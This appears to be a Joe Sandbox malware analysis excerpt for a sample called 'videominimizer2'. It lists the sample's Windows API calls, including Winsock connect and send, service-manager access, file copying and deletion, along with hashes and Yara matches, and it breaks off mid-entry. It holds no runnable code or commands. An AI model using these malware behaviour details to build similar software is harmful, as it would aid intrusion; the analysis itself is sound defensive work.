                                                                                                                                                                                                                                      • API ID: ErrorLast$Sendselect
                                                                                                                                                                                                                                      • String ID: 3'
                                                                                                                                                                                                                                      • API String ID: 2958345159-280543908
                                                                                                                                                                                                                                      • Opcode ID: 6d93ee97d2b8d9985fa812bfeb3adc2784df870fd5dce118dcef29cc3b3a5d44
                                                                                                                                                                                                                                      • Instruction ID: 32be042536573ccafa147099c75c908a663efdeb747c17f96e0eb009ba12c8e1
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6d93ee97d2b8d9985fa812bfeb3adc2784df870fd5dce118dcef29cc3b3a5d44
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 4C319AB1A002499FDB11BFA4D858BEEBBAAEF04354F00495ADC4497340E774AD95CBE0
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • WSASetLastError.WS2_32(00000000), ref: 02D82AEA
                                                                                                                                                                                                                                      • connect.WS2_32(?,?,?), ref: 02D82AF5
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ErrorLastconnect
                                                                                                                                                                                                                                      • String ID: 3'
                                                                                                                                                                                                                                      • API String ID: 374722065-280543908
                                                                                                                                                                                                                                      • Opcode ID: 373416389a5f74becaf6c1b7152c32b7b3ea9bc392eacf945ed3070e9f9f96eb
                                                                                                                                                                                                                                      • Instruction ID: ba8b3bf306b9baf99611129f343f402344e86a68cf2a1b6c1d845e53e80cc103
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 373416389a5f74becaf6c1b7152c32b7b3ea9bc392eacf945ed3070e9f9f96eb
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: CA219574E01204ABCF10BFA4D4186AE7BBAEF44364F504599DC5893380DB74AE058BA1
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: H_prolog
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3519838083-0
                                                                                                                                                                                                                                      • Opcode ID: 92b2a8bd653cb35e2bd251b8fbe6e24bb7eaedcce73edb2e2d4356729c3000e9
                                                                                                                                                                                                                                      • Instruction ID: b861a36cfea080104f471fa34a3636faa0e0cd5c3f6ec8c54ff55c83daf6ccf1
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 92b2a8bd653cb35e2bd251b8fbe6e24bb7eaedcce73edb2e2d4356729c3000e9
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: CB512DB1904246DFCB45EF58D451AAABBB1FF08720F10859EE8699B380D775DD11CFA0
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • InterlockedIncrement.KERNEL32(?), ref: 02D836A7
                                                                                                                                                                                                                                        • Part of subcall function 02D82420: InterlockedCompareExchange.KERNEL32(?,00000001,00000000), ref: 02D82432
                                                                                                                                                                                                                                        • Part of subcall function 02D82420: PostQueuedCompletionStatus.KERNEL32(?,00000000,00000002,?), ref: 02D82445
                                                                                                                                                                                                                                        • Part of subcall function 02D82420: RtlEnterCriticalSection.NTDLL(?), ref: 02D82454
                                                                                                                                                                                                                                        • Part of subcall function 02D82420: InterlockedExchange.KERNEL32(?,00000001), ref: 02D82469
                                                                                                                                                                                                                                        • Part of subcall function 02D82420: RtlLeaveCriticalSection.NTDLL(?), ref: 02D82470
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Interlocked$CriticalExchangeSection$CompareCompletionEnterIncrementLeavePostQueuedStatus
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1601054111-0
                                                                                                                                                                                                                                      • Opcode ID: 40100419ebf096e9f8a03ff0c0f39743bd14ea84010a41156bf673287059d84c
                                                                                                                                                                                                                                      • Instruction ID: 1df50fb2faa31a88ba26403c0c2170412f559457d77d8dfee9109868e20f4c42
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 40100419ebf096e9f8a03ff0c0f39743bd14ea84010a41156bf673287059d84c
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A911E7B6500248EBDF21AF18DC45FAA3BA9EF04B54F104456FE5ACA390C774DC60CBA4
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • __beginthreadex.LIBCMT ref: 02D91106
                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(?,?,?,?,?,00000002,02D8997E,00000000), ref: 02D91137
                                                                                                                                                                                                                                      • ResumeThread.KERNEL32(?,?,?,?,?,00000002,02D8997E,00000000), ref: 02D91145
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CloseHandleResumeThread__beginthreadex
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1685284544-0
                                                                                                                                                                                                                                      • Opcode ID: 6b9984c03b489f82d550540d7875a9f4a641708d740199ed081749ca576a5c53
                                                                                                                                                                                                                                      • Instruction ID: f03e36d2ec45a065b50658f244cc801ac9c07447947ef572f528dd18a4ed7c97
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6b9984c03b489f82d550540d7875a9f4a641708d740199ed081749ca576a5c53
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F4F06271740201ABEB209E58EC85FA5B3E8EF48725F24056AF558D7390C7B1EC92DE90
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetCommandLineW.KERNEL32 ref: 004027ED
                                                                                                                                                                                                                                      • CommandLineToArgvW.SHELL32(00000000), ref: 004027F4
                                                                                                                                                                                                                                      • GetLocalTime.KERNEL32(0040C2F8), ref: 0040D075
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CommandLine$ArgvLocalTime
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3768950922-0
                                                                                                                                                                                                                                      • Opcode ID: 035321ded0275dbdbf517f29037c3f697d1548f0c8c80e996bdf42ee7b3456d6
                                                                                                                                                                                                                                      • Instruction ID: 91ef10c5929d03a7fc5d1c367ffd0594174cee04b3ea4e9aceab3d1ee68c349e
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 035321ded0275dbdbf517f29037c3f697d1548f0c8c80e996bdf42ee7b3456d6
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 04F0FF71D05111CBC3009BB4BF299EA7BA4AB46710700067BE5CAF60E2C7B84C4ADB1A
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • InterlockedIncrement.KERNEL32(02DB529C), ref: 02D81ABA
                                                                                                                                                                                                                                      • WSAStartup.WS2_32(00000002,00000000), ref: 02D81ACB
                                                                                                                                                                                                                                      • InterlockedExchange.KERNEL32(02DB52A0,00000000), ref: 02D81AD7
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Interlocked$ExchangeIncrementStartup
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1856147945-0
                                                                                                                                                                                                                                      • Opcode ID: ccffd454acb4dcf945a317b1a154b2e6685b43e3511ba3c157f53d2c60acc9f2
                                                                                                                                                                                                                                      • Instruction ID: c9a692ea22ce0fe5bffb5022857a14ad2d98066e4685d40dba528a828a3b31e8
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ccffd454acb4dcf945a317b1a154b2e6685b43e3511ba3c157f53d2c60acc9f2
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 30D05E31D84204ABE22177A0BD1FEBC776CDB06712FD00651FE6AC43C0EA526D2885AB
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • DeleteFileA.KERNEL32(2D396D40), ref: 02DEC21B
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2537533437.0000000002DB8000.00000040.00001000.00020000.00000000.sdmp, Offset: 02DB8000, based on PE: false
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_2db8000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: DeleteFile
                                                                                                                                                                                                                                      • String ID: ([wO
                                                                                                                                                                                                                                      • API String ID: 4033686569-2721458860
                                                                                                                                                                                                                                      • Opcode ID: f4f15dbc9dbfdfeeff2d6407ee082574d23fa3484512b7124d145fd0e46dc967
                                                                                                                                                                                                                                      • Instruction ID: 4fd358f6b72814defeb8e7f8f0dbaf426652c3adb911c88d3c78858be293adeb
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: f4f15dbc9dbfdfeeff2d6407ee082574d23fa3484512b7124d145fd0e46dc967
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 65214FF251C600AFE318AF08E88177EB7E5EF94310F15892EE2C587754EA35A8518B97
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • OpenSCManagerA.ADVAPI32(?,?,00000002), ref: 0040DE0C
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ManagerOpen
                                                                                                                                                                                                                                      • String ID: \
                                                                                                                                                                                                                                      • API String ID: 1889721586-2967466578
                                                                                                                                                                                                                                      • Opcode ID: 6b02c77290a2158b51e68806f74a24035295f5ee907e826eba22e4fcde12c0cc
                                                                                                                                                                                                                                      • Instruction ID: 581ce953e34c98f85b61a1153f7898f5ed81f7c754a919ac331bd9c32609a126
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6b02c77290a2158b51e68806f74a24035295f5ee907e826eba22e4fcde12c0cc
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C6014C31E08684AADF4C4BB49F79AF97FB46701710F5040BEC987B32E2D1781909DB29
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • __EH_prolog.LIBCMT ref: 02D84BF2
                                                                                                                                                                                                                                        • Part of subcall function 02D81BA7: __EH_prolog.LIBCMT ref: 02D81BAC
                                                                                                                                                                                                                                        • Part of subcall function 02D81BA7: RtlEnterCriticalSection.NTDLL ref: 02D81BBC
                                                                                                                                                                                                                                        • Part of subcall function 02D81BA7: RtlLeaveCriticalSection.NTDLL ref: 02D81BEA
                                                                                                                                                                                                                                        • Part of subcall function 02D81BA7: RtlEnterCriticalSection.NTDLL ref: 02D81C13
                                                                                                                                                                                                                                        • Part of subcall function 02D81BA7: RtlLeaveCriticalSection.NTDLL ref: 02D81C56
                                                                                                                                                                                                                                        • Part of subcall function 02D8D0ED: __EH_prolog.LIBCMT ref: 02D8D0F2
                                                                                                                                                                                                                                        • Part of subcall function 02D8D0ED: InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 02D8D171
                                                                                                                                                                                                                                      • InterlockedExchange.KERNEL32(?,00000000), ref: 02D84CF2
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CriticalSection$H_prolog$EnterExchangeInterlockedLeave
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1927618982-0
                                                                                                                                                                                                                                      • Opcode ID: 45b345eeb8668a2aba393744aa1bec9cf1c4050195eaf080e20cae7aaac39bc5
                                                                                                                                                                                                                                      • Instruction ID: d7c7014969f96da1f59223889762318a85347dcfdb86a85355b451c2d20ae023
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 45b345eeb8668a2aba393744aa1bec9cf1c4050195eaf080e20cae7aaac39bc5
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C6510775D042499FDB15EFA8C494AEEFBB5EF08314F24819AE805AB351EB309E44CF61
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • CopyFileA.KERNEL32(?,?), ref: 0040DDA4
                                                                                                                                                                                                                                      • OpenSCManagerA.ADVAPI32(?,?,00000002), ref: 0040DE0C
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CopyFileManagerOpen
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3059512871-0
                                                                                                                                                                                                                                      • Opcode ID: e2209375a2ef0eec67d84e26e10aa896bcf1254743769b49326ebfec2aaecce5
                                                                                                                                                                                                                                      • Instruction ID: 22dde04db30ada70603b4c37316df1ccfd517d85c36d7c48d08271f1b974d6ca
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e2209375a2ef0eec67d84e26e10aa896bcf1254743769b49326ebfec2aaecce5
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 4E119E32A446406BDB084BB5AF36AE63FA4AB46731B48417DD0C7AB1E3C639944AC749
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • CopyFileA.KERNEL32(?,?), ref: 0040DDA4
                                                                                                                                                                                                                                      • OpenSCManagerA.ADVAPI32(?,?,00000002), ref: 0040DE0C
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CopyFileManagerOpen
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3059512871-0
                                                                                                                                                                                                                                      • Opcode ID: fcadad99aede858d459164219a61d181d9ae7bba2945c9ed8f9046051b623c4e
                                                                                                                                                                                                                                      • Instruction ID: ab1bb31debb9e967fdb0980d350143e076b57345d99e5cc46af80213a1903095
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: fcadad99aede858d459164219a61d181d9ae7bba2945c9ed8f9046051b623c4e
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: EA014C61B162902ADB0D0B75AF75AF63F696B06A20748403DE9C3B31E3D239540DC758
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • CopyFileA.KERNEL32(?,?), ref: 0040DDA4
                                                                                                                                                                                                                                      • OpenSCManagerA.ADVAPI32(?,?,00000002), ref: 0040DE0C
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CopyFileManagerOpen
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3059512871-0
                                                                                                                                                                                                                                      • Opcode ID: dcee582eab8bcba7e5a2a6310ba82f49f9a9f2c9900a13f0e8c631b2000bd0d8
                                                                                                                                                                                                                                      • Instruction ID: 2f402ea73b8b7388582147139829f9576b91628ef0adacb3a7f4c5dbc4cf6aac
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: dcee582eab8bcba7e5a2a6310ba82f49f9a9f2c9900a13f0e8c631b2000bd0d8
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: FB014C316041145BDB4C4B71AFB9AF93BBC5704B12B40007EE587B31E2D93C594CDB28
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • WSASetLastError.WS2_32(00000000), ref: 02D82D47
                                                                                                                                                                                                                                      • WSASend.WS2_32(?,?,?,?,00000000,00000000,00000000), ref: 02D82D5C
                                                                                                                                                                                                                                        • Part of subcall function 02D894FE: WSAGetLastError.WS2_32(00000000,?,?,02D82A51), ref: 02D8950C
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ErrorLast$Send
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1282938840-0
                                                                                                                                                                                                                                      • Opcode ID: 55cd5b2e4d1b68af150570bad88f9e97624287d9bb03d1e6f932614c13cf72b1
                                                                                                                                                                                                                                      • Instruction ID: 86c29adc10e3a4fba2f9bbc260209485ac8d8bdb509bc082cf0049478118d9d9
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 55cd5b2e4d1b68af150570bad88f9e97624287d9bb03d1e6f932614c13cf72b1
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 810171B5904205EFD7207F95989497BBBEDFB453A5B60492EE89983300EB709D40CBA1
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • CopyFileA.KERNEL32(?,?), ref: 0040DDA4
                                                                                                                                                                                                                                      • OpenSCManagerA.ADVAPI32(?,?,00000002), ref: 0040DE0C
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CopyFileManagerOpen
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3059512871-0
                                                                                                                                                                                                                                      • Opcode ID: 0113cdfbfb25f3afebf08d5b53905e774dd9bb883235dd1e0e1769836c7b60a4
                                                                                                                                                                                                                                      • Instruction ID: d58d49b4ea29d8c8a9330d33764122c4b2cd231153ae156a4abd983e9e2d164a
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 0113cdfbfb25f3afebf08d5b53905e774dd9bb883235dd1e0e1769836c7b60a4
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6B01493171665026DB0D0772AF7AAFA3F69A706630B88003DE5C3A31F3D6395408C718
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • HeapCreate.KERNEL32(00000000,00001000,00000000,0040336F,00000000), ref: 00404465
                                                                                                                                                                                                                                        • Part of subcall function 0040430C: GetVersionExA.KERNEL32 ref: 0040432B
                                                                                                                                                                                                                                      • HeapDestroy.KERNEL32 ref: 004044A4
                                                                                                                                                                                                                                        • Part of subcall function 0040482B: HeapAlloc.KERNEL32(00000000,00000140,0040448D,000003F8), ref: 00404838
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Heap$AllocCreateDestroyVersion
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2507506473-0
                                                                                                                                                                                                                                      • Opcode ID: 86f647c1e17f9121db62508107f35f7b6bb1c87a2647d7f3c89694d97ca3aca0
                                                                                                                                                                                                                                      • Instruction ID: 6792b556898a49359456169ba0c82f011abfeecbff717d74d0c7f117a7ac5838
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 86f647c1e17f9121db62508107f35f7b6bb1c87a2647d7f3c89694d97ca3aca0
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 90F065F0A01302DAEB206B70AE4572A3695DBC0755F20483BFA04F51E0EA788884A91D
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • lstrcmpiW.KERNEL32(?,/chk), ref: 0040D4E0
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: lstrcmpi
                                                                                                                                                                                                                                      • String ID: /chk
                                                                                                                                                                                                                                      • API String ID: 1586166983-3837807730
                                                                                                                                                                                                                                      • Opcode ID: a10da9197f37afb343f6c771918f49abc0ad40443fd6673d965178b01d59aaa4
                                                                                                                                                                                                                                      • Instruction ID: 96d4d1690fa0cf9a978db3768c059a4f844370bc8a88cc09418b16e2fd1e5a46
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a10da9197f37afb343f6c771918f49abc0ad40443fd6673d965178b01d59aaa4
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B7B01230300101DEE3001B228F0DE0039916B00700316C0795402B40F2C778C400651D
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • __EH_prolog.LIBCMT ref: 02D8511E
                                                                                                                                                                                                                                        • Part of subcall function 02D83D7E: htons.WS2_32(?), ref: 02D83DA2
                                                                                                                                                                                                                                        • Part of subcall function 02D83D7E: htonl.WS2_32(00000000), ref: 02D83DB9
                                                                                                                                                                                                                                        • Part of subcall function 02D83D7E: htonl.WS2_32(00000000), ref: 02D83DC0
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: htonl$H_prologhtons
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 4039807196-0
                                                                                                                                                                                                                                      • Opcode ID: 3abf7007c9e32892c5cac7f0ea03ccdf41f0d0e76e4a115c896dcb9fb89890a3
                                                                                                                                                                                                                                      • Instruction ID: 177743e5d8404e02eae7fe226479b299062fa3c0f94fd1bb3df75542d7842e7f
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 3abf7007c9e32892c5cac7f0ea03ccdf41f0d0e76e4a115c896dcb9fb89890a3
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 288125B5D0424A8FCF05EFA8E490AEEBBB9EF48210F10819AD855B7340EB355A05CF75
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2537533437.0000000002DB8000.00000040.00001000.00020000.00000000.sdmp, Offset: 02DB8000, based on PE: false
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_2db8000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: FileWrite
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3934441357-0
                                                                                                                                                                                                                                      • Opcode ID: 6883baafb4b4c7e134723bf9ea2767563e1fa7507f82f25991efb6b760efe224
                                                                                                                                                                                                                                      • Instruction ID: 3b4f453ff8d8f3e70980b319476b71bf17357811771873aa978b21784da09f22
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6883baafb4b4c7e134723bf9ea2767563e1fa7507f82f25991efb6b760efe224
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F34173F250C6049FE305BF19EC85BBABBE5EF94720F06492DE6C4C3744EA3558408A97
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • CreateFileA.KERNEL32(?,?,?,?), ref: 02E08B10
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2537533437.0000000002DB8000.00000040.00001000.00020000.00000000.sdmp, Offset: 02DB8000, based on PE: false
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_2db8000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CreateFile
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 823142352-0
                                                                                                                                                                                                                                      • Opcode ID: 59bc10ac6756bdde02da214d05055a47d5a2bb0eaafee4dcbc7b168951d70863
                                                                                                                                                                                                                                      • Instruction ID: 93d599e4cc7945f421b56c6c2d4aeb50292c1b3a7edcdafbe3ed33d4f479cf83
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 59bc10ac6756bdde02da214d05055a47d5a2bb0eaafee4dcbc7b168951d70863
